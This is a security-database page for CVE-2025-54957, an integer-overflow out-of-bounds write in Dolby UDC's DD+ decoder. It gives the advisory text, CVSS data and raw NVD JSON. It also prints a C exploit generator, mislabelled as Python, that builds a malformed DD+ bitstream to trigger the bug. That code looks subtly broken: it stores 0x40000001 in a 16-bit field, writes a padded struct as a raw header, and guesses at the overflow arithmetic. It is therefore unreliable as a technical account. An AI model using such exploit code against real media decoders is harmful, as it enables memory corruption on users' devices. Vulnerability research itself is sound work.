Security Vulnerability Report
中文
CVE-2025-54957 CVSS 9.8 CRITICAL

CVE-2025-54957

Published: 2025-10-20 15:15:33
Last Modified: 2026-04-15 00:35:42

Description

An issue was discovered in Dolby UDC 4.5 through 4.13. A crash of the DD+ decoder process can occur when a malformed DD+ bitstream is processed. When Evolution data is processed by evo_priv.c from the DD+ bitstream, the decoder writes that data into a buffer. The length calculation for a write can overflow due to an integer wraparound. This can lead to the allocated buffer being too small, and the out-of-bounds check of the subsequent write to be ineffective, leading to an out-of-bounds write.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Dolby UDC 4.5
Dolby UDC 4.6
Dolby UDC 4.7
Dolby UDC 4.8
Dolby UDC 4.9
Dolby UDC 4.10
Dolby UDC 4.11
Dolby UDC 4.12
Dolby UDC 4.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-54957 PoC - Malformed DD+ Bitstream Generator // This PoC generates a malformed Dolby Digital Plus bitstream with // crafted Evolution data that triggers integer wraparound in evo_priv.c // length calculation, leading to out-of-bounds write. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // DD+ frame sync word #define DDPLUS_SYNC_WORD 0x0B77 // AC3/AC4 frame header structure (simplified) typedef struct { uint16_t sync_word; // Synchronization word (0x0B77) uint16_t crc1; // CRC1 uint8_t fscod; // Sample rate code uint8_t frmsizecod; // Frame size code uint8_t bsid; // Bitstream identification uint8_t bsmod; // Bitstream mode uint8_t acmod; // Audio coding mode // ... additional fields } ddplus_frame_header_t; // Evolution data block structure typedef struct { uint8_t evolution_type; // Type of evolution data uint16_t evolution_length; // Length of evolution data (CRAFTED VALUE) uint8_t *evolution_data; // Evolution payload } evolution_block_t; /* * Craft a DD+ frame with malicious Evolution data. * The evolution_length field is set to a value that, when processed by * the vulnerable length calculation in evo_priv.c, causes integer * wraparound resulting in a small buffer allocation followed by * an out-of-bounds write. */ int generate_malformed_ddplus_bitstream(const char *output_file) { FILE *fp = fopen(output_file, "wb"); if (!fp) { perror("Failed to open output file"); return -1; } // Build DD+ frame header ddplus_frame_header_t header; memset(&header, 0, sizeof(header)); header.sync_word = DDPLUS_SYNC_WORD; header.fscod = 0; // 48 kHz header.frmsizecod = 0; // Minimal frame size header.bsid = 16; // DD+ bitstream header.bsmod = 0; header.acmod = 2; // Stereo // Write frame header fwrite(&header, sizeof(header), 1, fp); // Craft malicious Evolution data block // The key: set evolution_length to a value that triggers integer // wraparound. For example, if the vulnerable code computes: // buf_size = evolution_length * some_multiplier // We set evolution_length such that the multiplication overflows // to a small value (e.g., 0x0001 or a very small number). evolution_block_t evo; memset(&evo, 0, sizeof(evo)); evo.evolution_type = 0x01; // Evolution type indicator // Crafted length: when multiplied by internal factor causes wraparound // Example: if factor is 4, setting length to 0x40000001 yields // 0x40000001 * 4 = 0x100000004 -> truncated to 0x4 (overflow) evo.evolution_length = 0x40000001; // Write evolution block header fwrite(&evo.evolution_type, sizeof(evo.evolution_type), 1, fp); fwrite(&evo.evolution_length, sizeof(evo.evolution_length), 1, fp); // Write actual evolution payload (much larger than the overflowed buffer) // This data will be written out-of-bounds size_t payload_size = 0x40000000; // 1GB of data to ensure overflow uint8_t *payload = (uint8_t *)calloc(1, payload_size); if (payload) { // Fill with non-zero pattern to maximize corruption impact memset(payload, 0x41, payload_size); fwrite(payload, 1, payload_size, fp); free(payload); } fclose(fp); printf("[+] Malformed DD+ bitstream written to: %s\n", output_file); printf("[+] Evolution length field: 0x%08x (crafted for integer wraparound)\n", evo.evolution_length); printf("[+] Payload size: %zu bytes (will overflow allocated buffer)\n", payload_size); return 0; } int main(int argc, char *argv[]) { const char *output = (argc > 1) ? argv[1] : "malformed_ddplus.ec3"; printf("[*] CVE-2025-54957 PoC - Dolby UDC DD+ Decoder OOB Write\n"); printf("[*] Target: Dolby UDC 4.5 - 4.13 (evo_priv.c)\n"); return generate_malformed_ddplus_bitstream(output); }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54957", "sourceIdentifier": "[email protected]", "published": "2025-10-20T15:15:33.430", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Dolby UDC 4.5 through 4.13. A crash of the DD+ decoder process can occur when a malformed DD+ bitstream is processed. When Evolution data is processed by evo_priv.c from the DD+ bitstream, the decoder writes that data into a buffer. The length calculation for a write can overflow due to an integer wraparound. This can lead to the allocated buffer being too small, and the out-of-bounds check of the subsequent write to be ineffective, leading to an out-of-bounds write."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}, {"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://professional.dolby.com/siteassets/pdfs/dolby-security-advisory-CVE-2025-54957-Oct-14-25.pdf", "source": "[email protected]"}, {"url": "https://project-zero.issues.chromium.org/issues/428075495", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}, {"url": "https://projectzero.google/2026/01/pixel-0-click-part-1.html", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}